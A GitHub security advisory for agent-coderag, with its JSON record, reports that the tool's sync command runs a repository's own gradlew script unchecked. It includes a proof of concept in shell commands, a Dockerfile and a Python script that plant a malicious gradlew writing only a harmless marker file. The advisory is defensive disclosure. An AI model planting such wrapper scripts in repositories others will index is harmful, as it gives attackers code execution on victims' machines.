GHSA-WG5P-8H9P-3MR7
Vulnerability from github – Published: 2026-06-19 15:01 – Updated: 2026-06-19 15:01Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution
Summary
agent-coderag unconditionally executes a repository-controlled gradlew script during its default sync dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing build.gradle and a crafted gradlew) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default agent-coderag sync <path> invocation.
Details
The vulnerability exists across a four-step call chain in the sync command:
1. Entry point — code_rag/entry/cli.py:70
await manager.sync_dependencies(args.path or ".")
sync_dependencies() is called unconditionally before indexing. There is no opt-in flag; any agent-coderag sync invocation triggers dependency discovery.
2. Gradle project detection — code_rag/core/manager.py:40-47
The presence of a build.gradle or build.gradle.kts file in the target directory is sufficient to invoke _sync_gradle(). No additional checks are performed.
3. Wrapper selection — code_rag/core/manager.py:110-113
gradle_wrapper = root / ("gradlew.bat" if os.name == "nt" else "gradlew")
gradle_bin: Optional[str] = None
if gradle_wrapper.exists():
gradle_bin = str(gradle_wrapper.resolve())
else:
gradle_bin = shutil.which("gradle")
When a repository-local gradlew exists, it is unconditionally preferred over the system-installed gradle. No content validation, signature check, or integrity verification is performed on this file.
4. Execution sink — code_rag/core/manager.py:152-158
process = await asyncio.create_subprocess_exec(
gradle_bin,
"-q",
"--init-script",
str(init_script),
"printCodeRagCP",
cwd=str(root),
...
)
The attacker-controlled gradlew is executed directly via asyncio.create_subprocess_exec() with the repository root as the working directory. validate_path (code_rag/core/utils.py:7-71) only constrains the path location (directory boundary), not the content or nature of the executed binary.
The complete data flow: cli.py:277 (path input) → cli.py:313-314 (sync_cmd) → cli.py:62 (validate_path) → cli.py:70 (sync_dependencies) → manager.py:40-47 (_sync_gradle) → manager.py:110-113 (wrapper selection) → manager.py:152-158 (execution sink).
PoC
Environment setup:
python3 -m venv /tmp/acr-venv
. /tmp/acr-venv/bin/activate
pip install agent-coderag==1.3.0
rm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker
mkdir -p /tmp/acr-evil
Build the malicious repository:
# Trigger _sync_gradle() detection
printf 'plugins { id "java" }\n' > /tmp/acr-evil/build.gradle
# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly
printf '#!/bin/sh\nprintf CODERAG_RCE_SUCCESS > /tmp/agent-coderag-poc-marker\nexit 0\n' \
> /tmp/acr-evil/gradlew
chmod +x /tmp/acr-evil/gradlew
Trigger the vulnerability (victim action):
agent-coderag --db /tmp/acr.db sync /tmp/acr-evil
Verify exploitation:
cat /tmp/agent-coderag-poc-marker
# Expected output: CODERAG_RCE_SUCCESS
Docker-based reproduction (as confirmed in Phase 2):
# Build image from repository root
docker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .
# Run PoC — exits 0 on successful exploitation
docker run --rm agent-coderag-vuln001
Phase 2 dynamic reproduction confirmed the following output:
[*] Evil repo created at /tmp/acr-evil-i560afcg
build.gradle : 22 bytes
gradlew : 275 bytes (executable=True)
[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg
[*] agent-coderag exit code : 0
[PASS] Exploit confirmed.
Marker file : /tmp/acr-poc-marker
Contents : 'CODERAG_RCE_SUCCESS'
The malicious gradlew was executed by agent-coderag during sync.
Impact
This is an Arbitrary Code Execution (ACE) vulnerability triggered by a local attack vector. Any user who runs agent-coderag sync against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.
Typical impacted scenarios include:
- A developer cloning an untrusted repository and running
agent-coderag syncto index it for AI-assisted code analysis. - A CI/CD pipeline that automatically indexes pull-request branches containing a crafted
gradlew. - Any tooling or script that passes arbitrary paths to
agent-coderag syncwithout user oversight.
Because the vulnerable component (agent-coderag) is a code-indexing tool intended to read repositories, victims have no expectation that indexing will execute files within the repository. This trust-boundary violation (reflected in the CVSS S:C — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
LABEL description="VULN-001 PoC: agent-coderag gradlew RCE reproduction"
WORKDIR /app
RUN apt-get update && apt-get install -y --no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# Install agent-coderag from local repo source (pinned to vulnerable commit)
COPY repo/ /app/repo/
RUN pip install --no-cache-dir /app/repo/
# Copy PoC script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution
Vulnerability:
agent-coderag `sync` command calls sync_dependencies() unconditionally.
When the target directory contains a build.gradle file, _sync_gradle() is triggered.
_sync_gradle() prefers a repository-local ./gradlew over the system gradle binary.
The repository-controlled gradlew is executed via asyncio.create_subprocess_exec()
without any content validation, enabling arbitrary code execution.
Data flow (source → sink):
cli.py:70 → manager.sync_dependencies()
manager.py:46 → _sync_gradle()
manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve()) [untrusted file]
manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...) [sink]
Expected outcome:
The malicious gradlew writes a marker to /tmp/acr-poc-marker.
If that file contains "CODERAG_RCE_SUCCESS", the exploit is confirmed.
"""
import asyncio
import os
import shutil
import stat
import subprocess
import sys
import tempfile
from pathlib import Path
MARKER_PATH = "/tmp/acr-poc-marker"
DB_PATH = "/tmp/acr-poc.db"
MALICIOUS_GRADLEW = """\
#!/bin/sh
# Malicious gradlew: writes a proof-of-exploitation marker and simulates
# enough Gradle output for agent-coderag to continue without error.
printf 'CODERAG_RCE_SUCCESS' > /tmp/acr-poc-marker
# Output a fake empty classpath so the tool does not log an error
exit 0
"""
BUILD_GRADLE = "plugins { id 'java' }\n"
def setup_evil_repo(directory: str) -> None:
"""Create a minimal attacker-controlled Gradle repository."""
repo_path = Path(directory)
repo_path.mkdir(parents=True, exist_ok=True)
# build.gradle triggers _sync_gradle() in manager.py:46
(repo_path / "build.gradle").write_text(BUILD_GRADLE)
# gradlew will be executed by manager.py:152 instead of system gradle
gradlew = repo_path / "gradlew"
gradlew.write_text(MALICIOUS_GRADLEW)
gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)
print(f"[*] Evil repo created at {directory}")
print(f" build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes")
print(f" gradlew : {gradlew.stat().st_size} bytes (executable={os.access(gradlew, os.X_OK)})")
def run_agent_coderag(evil_repo: str) -> subprocess.CompletedProcess:
"""Invoke agent-coderag sync against the malicious repository."""
cmd = ["agent-coderag", "--db", DB_PATH, "sync", evil_repo]
print(f"[*] Running: {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
return result
def check_marker() -> str | None:
"""Return the marker content if it was written by the malicious gradlew."""
try:
return Path(MARKER_PATH).read_text()
except FileNotFoundError:
return None
def main() -> int:
# Clean up any leftovers from a previous run
for path in (MARKER_PATH, DB_PATH):
if os.path.exists(path):
os.remove(path)
evil_repo = tempfile.mkdtemp(prefix="acr-evil-")
try:
# Step 1 — build the attacker-controlled repository
setup_evil_repo(evil_repo)
# Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo)
result = run_agent_coderag(evil_repo)
print(f"[*] agent-coderag exit code : {result.returncode}")
if result.stdout:
print(f"[*] stdout:\n{result.stdout.rstrip()}")
if result.stderr:
print(f"[*] stderr:\n{result.stderr.rstrip()}")
# Step 3 — verify the marker was written by the malicious gradlew
marker_content = check_marker()
if marker_content and "CODERAG_RCE_SUCCESS" in marker_content:
print("\n[PASS] Exploit confirmed.")
print(f" Marker file : {MARKER_PATH}")
print(f" Contents : {marker_content!r}")
print(" The malicious gradlew was executed by agent-coderag during sync.")
return 0
else:
print("\n[FAIL] Marker file not found or does not contain the expected string.")
print(f" Expected : 'CODERAG_RCE_SUCCESS'")
print(f" Got : {marker_content!r}")
return 1
finally:
shutil.rmtree(evil_repo, ignore_errors=True)
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.0"
},
"package": {
"ecosystem": "PyPI",
"name": "agent-coderag"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T15:01:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution\n\n### Summary\n\n`agent-coderag` unconditionally executes a repository-controlled `gradlew` script during its default `sync` dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing `build.gradle` and a crafted `gradlew`) achieves arbitrary code execution with the victim\u0027s OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default `agent-coderag sync \u003cpath\u003e` invocation.\n\n### Details\n\nThe vulnerability exists across a four-step call chain in the `sync` command:\n\n**1. Entry point \u2014 `code_rag/entry/cli.py:70`**\n\n```python\nawait manager.sync_dependencies(args.path or \".\")\n```\n\n`sync_dependencies()` is called unconditionally before indexing. There is no opt-in flag; any `agent-coderag sync` invocation triggers dependency discovery.\n\n**2. Gradle project detection \u2014 `code_rag/core/manager.py:40-47`**\n\nThe presence of a `build.gradle` or `build.gradle.kts` file in the target directory is sufficient to invoke `_sync_gradle()`. No additional checks are performed.\n\n**3. Wrapper selection \u2014 `code_rag/core/manager.py:110-113`**\n\n```python\ngradle_wrapper = root / (\"gradlew.bat\" if os.name == \"nt\" else \"gradlew\")\ngradle_bin: Optional[str] = None\nif gradle_wrapper.exists():\n gradle_bin = str(gradle_wrapper.resolve())\nelse:\n gradle_bin = shutil.which(\"gradle\")\n```\n\nWhen a repository-local `gradlew` exists, it is unconditionally preferred over the system-installed `gradle`. No content validation, signature check, or integrity verification is performed on this file.\n\n**4. Execution sink \u2014 `code_rag/core/manager.py:152-158`**\n\n```python\nprocess = await asyncio.create_subprocess_exec(\n gradle_bin,\n \"-q\",\n \"--init-script\",\n str(init_script),\n \"printCodeRagCP\",\n cwd=str(root),\n ...\n)\n```\n\nThe attacker-controlled `gradlew` is executed directly via `asyncio.create_subprocess_exec()` with the repository root as the working directory. `validate_path` (`code_rag/core/utils.py:7-71`) only constrains the path location (directory boundary), not the content or nature of the executed binary.\n\nThe complete data flow: `cli.py:277` (path input) \u2192 `cli.py:313-314` (`sync_cmd`) \u2192 `cli.py:62` (`validate_path`) \u2192 `cli.py:70` (`sync_dependencies`) \u2192 `manager.py:40-47` (`_sync_gradle`) \u2192 `manager.py:110-113` (wrapper selection) \u2192 `manager.py:152-158` (execution sink).\n\n### PoC\n\n**Environment setup:**\n\n```bash\npython3 -m venv /tmp/acr-venv\n. /tmp/acr-venv/bin/activate\npip install agent-coderag==1.3.0\n\nrm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker\nmkdir -p /tmp/acr-evil\n```\n\n**Build the malicious repository:**\n\n```bash\n# Trigger _sync_gradle() detection\nprintf \u0027plugins { id \"java\" }\\n\u0027 \u003e /tmp/acr-evil/build.gradle\n\n# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly\nprintf \u0027#!/bin/sh\\nprintf CODERAG_RCE_SUCCESS \u003e /tmp/agent-coderag-poc-marker\\nexit 0\\n\u0027 \\\n \u003e /tmp/acr-evil/gradlew\nchmod +x /tmp/acr-evil/gradlew\n```\n\n**Trigger the vulnerability (victim action):**\n\n```bash\nagent-coderag --db /tmp/acr.db sync /tmp/acr-evil\n```\n\n**Verify exploitation:**\n\n```bash\ncat /tmp/agent-coderag-poc-marker\n# Expected output: CODERAG_RCE_SUCCESS\n```\n\n**Docker-based reproduction (as confirmed in Phase 2):**\n\n```bash\n# Build image from repository root\ndocker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .\n\n# Run PoC \u2014 exits 0 on successful exploitation\ndocker run --rm agent-coderag-vuln001\n```\n\nPhase 2 dynamic reproduction confirmed the following output:\n\n```\n[*] Evil repo created at /tmp/acr-evil-i560afcg\n build.gradle : 22 bytes\n gradlew : 275 bytes (executable=True)\n[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg\n[*] agent-coderag exit code : 0\n[PASS] Exploit confirmed.\n Marker file : /tmp/acr-poc-marker\n Contents : \u0027CODERAG_RCE_SUCCESS\u0027\n The malicious gradlew was executed by agent-coderag during sync.\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution (ACE)** vulnerability triggered by a local attack vector. Any user who runs `agent-coderag sync` against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.\n\nTypical impacted scenarios include:\n\n- A developer cloning an untrusted repository and running `agent-coderag sync` to index it for AI-assisted code analysis.\n- A CI/CD pipeline that automatically indexes pull-request branches containing a crafted `gradlew`.\n- Any tooling or script that passes arbitrary paths to `agent-coderag sync` without user oversight.\n\nBecause the vulnerable component (`agent-coderag`) is a code-indexing tool intended to *read* repositories, victims have no expectation that indexing will *execute* files within the repository. This trust-boundary violation (reflected in the CVSS `S:C` \u2014 Changed Scope) means the impact extends beyond the tool itself to the victim\u0027s entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"VULN-001 PoC: agent-coderag gradlew RCE reproduction\"\n\nWORKDIR /app\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install agent-coderag from local repo source (pinned to vulnerable commit)\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: agent-coderag Gradle Wrapper Execution \u2192 Arbitrary Code Execution\n\nVulnerability:\n agent-coderag `sync` command calls sync_dependencies() unconditionally.\n When the target directory contains a build.gradle file, _sync_gradle() is triggered.\n _sync_gradle() prefers a repository-local ./gradlew over the system gradle binary.\n The repository-controlled gradlew is executed via asyncio.create_subprocess_exec()\n without any content validation, enabling arbitrary code execution.\n\nData flow (source \u2192 sink):\n cli.py:70 \u2192 manager.sync_dependencies()\n manager.py:46 \u2192 _sync_gradle()\n manager.py:112-113 \u2192 gradle_bin = str(gradle_wrapper.resolve()) [untrusted file]\n manager.py:152-158 \u2192 asyncio.create_subprocess_exec(gradle_bin, ...) [sink]\n\nExpected outcome:\n The malicious gradlew writes a marker to /tmp/acr-poc-marker.\n If that file contains \"CODERAG_RCE_SUCCESS\", the exploit is confirmed.\n\"\"\"\n\nimport asyncio\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_PATH = \"/tmp/acr-poc-marker\"\nDB_PATH = \"/tmp/acr-poc.db\"\n\nMALICIOUS_GRADLEW = \"\"\"\\\n#!/bin/sh\n# Malicious gradlew: writes a proof-of-exploitation marker and simulates\n# enough Gradle output for agent-coderag to continue without error.\nprintf \u0027CODERAG_RCE_SUCCESS\u0027 \u003e /tmp/acr-poc-marker\n# Output a fake empty classpath so the tool does not log an error\nexit 0\n\"\"\"\n\nBUILD_GRADLE = \"plugins { id \u0027java\u0027 }\\n\"\n\n\ndef setup_evil_repo(directory: str) -\u003e None:\n \"\"\"Create a minimal attacker-controlled Gradle repository.\"\"\"\n repo_path = Path(directory)\n repo_path.mkdir(parents=True, exist_ok=True)\n\n # build.gradle triggers _sync_gradle() in manager.py:46\n (repo_path / \"build.gradle\").write_text(BUILD_GRADLE)\n\n # gradlew will be executed by manager.py:152 instead of system gradle\n gradlew = repo_path / \"gradlew\"\n gradlew.write_text(MALICIOUS_GRADLEW)\n gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)\n\n print(f\"[*] Evil repo created at {directory}\")\n print(f\" build.gradle : {(repo_path / \u0027build.gradle\u0027).stat().st_size} bytes\")\n print(f\" gradlew : {gradlew.stat().st_size} bytes (executable={os.access(gradlew, os.X_OK)})\")\n\n\ndef run_agent_coderag(evil_repo: str) -\u003e subprocess.CompletedProcess:\n \"\"\"Invoke agent-coderag sync against the malicious repository.\"\"\"\n cmd = [\"agent-coderag\", \"--db\", DB_PATH, \"sync\", evil_repo]\n print(f\"[*] Running: {\u0027 \u0027.join(cmd)}\")\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)\n return result\n\n\ndef check_marker() -\u003e str | None:\n \"\"\"Return the marker content if it was written by the malicious gradlew.\"\"\"\n try:\n return Path(MARKER_PATH).read_text()\n except FileNotFoundError:\n return None\n\n\ndef main() -\u003e int:\n # Clean up any leftovers from a previous run\n for path in (MARKER_PATH, DB_PATH):\n if os.path.exists(path):\n os.remove(path)\n\n evil_repo = tempfile.mkdtemp(prefix=\"acr-evil-\")\n try:\n # Step 1 \u2014 build the attacker-controlled repository\n setup_evil_repo(evil_repo)\n\n # Step 2 \u2014 invoke agent-coderag (victim action: indexing an untrusted repo)\n result = run_agent_coderag(evil_repo)\n print(f\"[*] agent-coderag exit code : {result.returncode}\")\n if result.stdout:\n print(f\"[*] stdout:\\n{result.stdout.rstrip()}\")\n if result.stderr:\n print(f\"[*] stderr:\\n{result.stderr.rstrip()}\")\n\n # Step 3 \u2014 verify the marker was written by the malicious gradlew\n marker_content = check_marker()\n if marker_content and \"CODERAG_RCE_SUCCESS\" in marker_content:\n print(\"\\n[PASS] Exploit confirmed.\")\n print(f\" Marker file : {MARKER_PATH}\")\n print(f\" Contents : {marker_content!r}\")\n print(\" The malicious gradlew was executed by agent-coderag during sync.\")\n return 0\n else:\n print(\"\\n[FAIL] Marker file not found or does not contain the expected string.\")\n print(f\" Expected : \u0027CODERAG_RCE_SUCCESS\u0027\")\n print(f\" Got : {marker_content!r}\")\n return 1\n finally:\n shutil.rmtree(evil_repo, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-wg5p-8h9p-3mr7",
"modified": "2026-06-19T15:01:06Z",
"published": "2026-06-19T15:01:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/naranor/agent-coderag/security/advisories/GHSA-wg5p-8h9p-3mr7"
},
{
"type": "PACKAGE",
"url": "https://github.com/naranor/agent-coderag"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "agent-coderag: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.